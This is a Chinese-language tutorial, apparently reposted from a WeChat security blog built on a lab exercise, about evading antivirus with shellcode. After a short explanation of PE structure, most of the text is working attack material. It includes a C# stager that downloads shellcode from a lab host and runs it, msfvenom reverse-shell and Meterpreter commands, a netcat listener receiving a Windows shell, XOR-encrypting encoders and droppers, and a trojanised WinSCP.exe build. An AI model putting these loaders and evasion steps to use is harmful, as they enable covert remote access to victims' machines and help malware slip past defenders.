PE 结构
Windows 可执行文件格式,又称 PE (Portable Executable),是一种数据结构,用于保存文件所需的信息。是一种在磁盘上组织可执行文件代码的方法。Windows 操作系统组件(如 Windows 和 DOS 加载程序)可以将其加载到内存中,并根据 PE 中找到的文件信息执行它。
通常,Windows 二进制文件的默认文件结构(如 EXE、DLL 和对象代码文件)具有相同的 PE 结构。
PE 中有不同类型的数据容器,每个容器包含不同的数据。
-
.text 存储程序的实际代码
-
.data 保存了初始化和定义的变量
-
.bss 保存未初始化的数据(声明的变量,没有赋值)
-
.rdata 包含只读数据
-
.edata 包含可导出的对象和相关的表信息
-
.idata 导入的对象和相关的表信息
-
.reloc 映像重定位信息
-
.rsrc 链接程序使用的外部资源,如图像、图标、嵌入式二进制文件和清单文件,其中包含有关程序版本、作者、公司和版权的所有信息!
-
标头部分:
-
幻数以“MZ”开头,它告诉加载程序这是一个 EXE 文件。
-
文件签名。
-
文件是针对什么 CPU 体系结构编译的。
-
创建的时间戳。
-
解析部分表详细信息:
-
文件包含的节数。
-
将文件内容映射到内存中,基于:
-
入口点地址和基地址的偏移。
-
RVA:相对虚拟地址,与 Imagebase 相关的地址。
-
导入文件、dll 和其他对象被加载到内存中。
-
找到入口点地址并运行主执行函数。
Shellcode 简介
-
系统写入功能(sys_write)打印出写入的字符串。
-
系统退出功能(sys_exit)终止程序的执行。
为了调用这些函数,将使用 syscalls。系统调用是程序请求内核执行某些操作的方式。
每个操作系统都有不同的系统调用约定,对于 64 位 Linux,可以通过设置以下值从内核调用所需的函数:
rax | System Call | rdi | rsi | rdx |
0x1 | sys_write | unsigned int fd | const char *buf | size_t count |
0x3c | sys_exit | int error_code |
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
对于 sys_write,rdi 存放要写入的文件描述符。rsi 指向要打印的字符串指针,rdx 存储要打印的字符串大小。
global _start
section .text
_start:
jmp MESSAGE
GOBACK:
mov rax, 0x1
mov rdi, 0x1
pop rsi
mov rdx, 0xd
syscall
mov rax, 0x3c
mov rdi, 0x0
syscall
MESSAGE:
call GOBACK
db "Hello World", 0dh, 0ah
0dh、0ah 相当于换行符。
-
通过在 rax 寄存器中存储 1 来指定 sys_write 函数。
-
将 rdi 设置为 1 以将字符串打印到用户控制台 (STDOUT)。
-
弹出一个指向字符串的指针,该指针是在调用 GOBACK 时被压入的,并将其存储到 rsi 中。
-
通过 syscall 指令,使用准备好的值执行 sys_write 函数。
-
对于下一部分,执行相同的操作来调用 sys_exit 函数,因此将 0x3c 设置到 rax 寄存器中,并调用 syscall 函数来退出程序。
root@ip-10-10-197-134:/tmp# vi hello.asm
root@ip-10-10-197-134:/tmp# nasm -f elf64 hello.asm
root@ip-10-10-197-134:/tmp# ls
hello.asm
hello.o
root@ip-10-10-197-134:/tmp# ld hello.o -o hello
root@ip-10-10-197-134:/tmp# ./hello
Hello World
root@ip-10-10-197-134:/tmp# objdump -d hello
hello: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: eb 1e jmp 4000a0 <MESSAGE>
0000000000400082 <GOBACK>:
400082: b8 01 00 00 00 mov $0x1,%eax
400087: bf 01 00 00 00 mov $0x1,%edi
40008c: 5e pop %rsi
40008d: ba 0d 00 00 00 mov $0xd,%edx
400092: 0f 05 syscall
400094: b8 3c 00 00 00 mov $0x3c,%eax
400099: bf 00 00 00 00 mov $0x0,%edi
40009e: 0f 05 syscall
00000000004000a0 <MESSAGE>:
4000a0: e8 dd ff ff ff callq 400082 <GOBACK>
4000a5: 48 rex.W
4000a6: 65 6c gs insb (%dx),%es:(%rdi)
4000a8: 6c insb (%dx),%es:(%rdi)
4000a9: 6f outsl %ds:(%rsi),(%dx)
4000aa: 20 57 6f and %dl,0x6f(%rdi)
4000ad: 72 6c jb 40011b <MESSAGE+0x7b>
4000af: 64 fs
4000b0: 0d .byte 0xd
4000b1: 0a .byte 0xa
root@ip-10-10-197-134:/tmp# objcopy -j .text -O binary hello hello.text
root@ip-10-10-197-134:/tmp# ls
hello
hello.asm
hello.o
hello.text
root@ip-10-10-197-134:/tmp# xxd -i hello.text
unsigned char hello_text[] = {
0xeb, 0x1e, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00,
0x5e, 0xba, 0x0d, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00,
0x00, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xe8, 0xdd, 0xff, 0xff,
0xff, 0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x20, 0x57, 0x6f, 0x72, 0x6c, 0x64,
0x0d, 0x0a
};
unsigned int hello_text_len = 50;
#include <stdio.h>
int main(int argc, char **argv){
unsigned char hello_text[] = {
0xeb, 0x1e, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00,
0x5e, 0xba, 0x0d, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00,
0x00, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xe8, 0xdd, 0xff, 0xff,
0xff, 0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x20, 0x57, 0x6f, 0x72, 0x6c, 0x64,
0x0d, 0x0a
};
(*(void(*)())hello_text)();
return 0;
}
root@ip-10-10-197-134:/tmp# gcc -g -Wall -z execstack test.c -o testx
root@ip-10-10-197-134:/tmp# ./testx
Hello World
root@ip-10-10-197-134:/tmp# msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > example.bin
No encoder specified, outputting raw payload
Payload size: 193 bytes
root@ip-10-10-197-134:/tmp# file example.bin
example.bin: data
root@ip-10-10-197-134:/tmp# xxd -i example.bin
unsigned char example_bin[] = {
0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64,
0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28,
0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c,
0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52,
0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,
0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49,
0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75,
0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b,
0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,
0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a,
0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00,
0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5,
0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,
0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65,
0x00
};
unsigned int example_bin_len = 193;
无阶段式:
-
生成的可执行文件包含了让 shellcode 工作所需的所有内容。
-
有效负载将在不需要额外网络连接的情况下执行。网络交互越少,被 IPS 检测到的机率就越小。
-
磁盘占用空间小。
-
最终的 shellcode 未嵌入到可执行文件中。如果有效负载被捕获,蓝队将只能访问 stage0。
-
最终的 shellcode 被加载到内存中,不会接触磁盘。
-
可以对许多 shellcode 重复使用相同的 stage0 dropper,因为可以简单地替换提供给受害机的最终 shellcode。
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program
{
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
string url = "https://10.10.197.134/shellcode.bin";
Stager(url);
}
public static void Stager(string url)
{
WebClient wc = new WebClient();
wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
byte[] shellcode = wc.DownloadData(url);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threatHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threatHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threatHandle, 0xFFFFFFFF);
}
}
WebClient wc = new WebClient();
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
byte[] shellcode = wc.DownloadData(url);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
PS C:> csc StagedPayload.cs
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.197.134 LPORT=7474 -f raw -o shellcode.bin -b 'x00x0ax0d'
shellcode 使用的是原始格式,因为 stager 会直接将下载的内容加载到内存。
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 3 -nodes
有了 SSL 证书,使用 python3 生成一个简单的 HTTPS 服务器:
python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"
root@ip-10-10-197-134:~# nc -lvp 7474
Listening on [0.0.0.0] (family 0, port 7474)
Connection from ip-10-10-202-45.eu-west-1.compute.internal 49762 received!
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:UsersthmDesktop>
msfvenom --list encoders | grep excellent
msfvenom -a x86 --platform Windows LHOST=10.10.197.134 LPORT=443 -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b 'x00' -i 3 -f csharp
msfvenom --list encrypt
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.197.134 LPORT=7788 -f exe --encrypt xor --encrypt-key "MyKeyPass***" -o xored-revshell.exe
msfvenom LHOST=10.10.197.134 LPORT=443 -p windows/x64/shell_reverse_tcp -f csharp
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Encrypter
{
internal class Program
{
private static byte[] xor(byte[] shell, byte[] KeyBytes)
{
for (int i = 0; i < shell.Length; i++)
{
shell[i] ^= KeyBytes[i % KeyBytes.Length];
}
return shell;
}
static void Main(string[] args)
{
//XOR Key - 解密的 Droppr 中必须相同
string key = "THMK3y123!";
//将 Key 转换为字节
byte[] keyBytes = Encoding.ASCII.GetBytes(key);
//原始 Shellcode 在这里(csharp 格式)
byte[] buf = new byte[460] { 0xfc,0x48,0x83,..,0xda,0xff,0xd5 };
//逐字节异或并保存到新的字节数组中
byte[] encoded = xor(buf, keyBytes);
Console.WriteLine(Convert.ToBase64String(encoded));
}
}
}
使用自定义密钥对有效负载进行异或,然后使用 base64 对其进行编码。
using System;
using System.Net;
using System.Text;
using System.Runtime.InteropServices;
public class Program {
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static byte[] xor(byte[] shell, byte[] KeyBytes)
{
for (int i = 0; i < shell.Length; i++)
{
shell[i] ^= KeyBytes[i % KeyBytes.Length];
}
return shell;
}
public static void Main()
{
string dataBS64 = "qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE=";
byte[] data = Convert.FromBase64String(dataBS64);
string key = "THMK3y123!";
//将 Key 转换为字节
byte[] keyBytes = Encoding.ASCII.GetBytes(key);
byte[] encoded = xor(data, keyBytes);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
-
压缩程序,使其占用更少的空间。
-
保护程序,避免被轻松逆向。
市面上有相当多的加壳程序,包括 UPX、MPRESS、Themida 等。
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program {
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
byte[] shellcode = new byte[] {0xfc,0x48,0x83,...,0xda,0xff,0xd5 };
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.197.134 LPORT=7478 -f csharp
因为有效负载是在 .NET 上编写的,因此可以使用 ConfuserEx 加壳器。
例如更改 PE 头中的入口点,以便 shellcode 在程序之前执行,完成后将重定向回合法程序。当用户单击生成的可执行文件时,shellcode 将首先以静默方式执行,并继续正常运行程序,而用户不会注意到。
msfvenom -x WinSCP.exe -k -p windows/shell_reverse_tcp lhost=10.10.197.134 lport=7779 -f exe -o WinSCP-evil.exe
原文始发于微信公众号(走在网安路上的哥布林):AV 规避:Shellcode
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论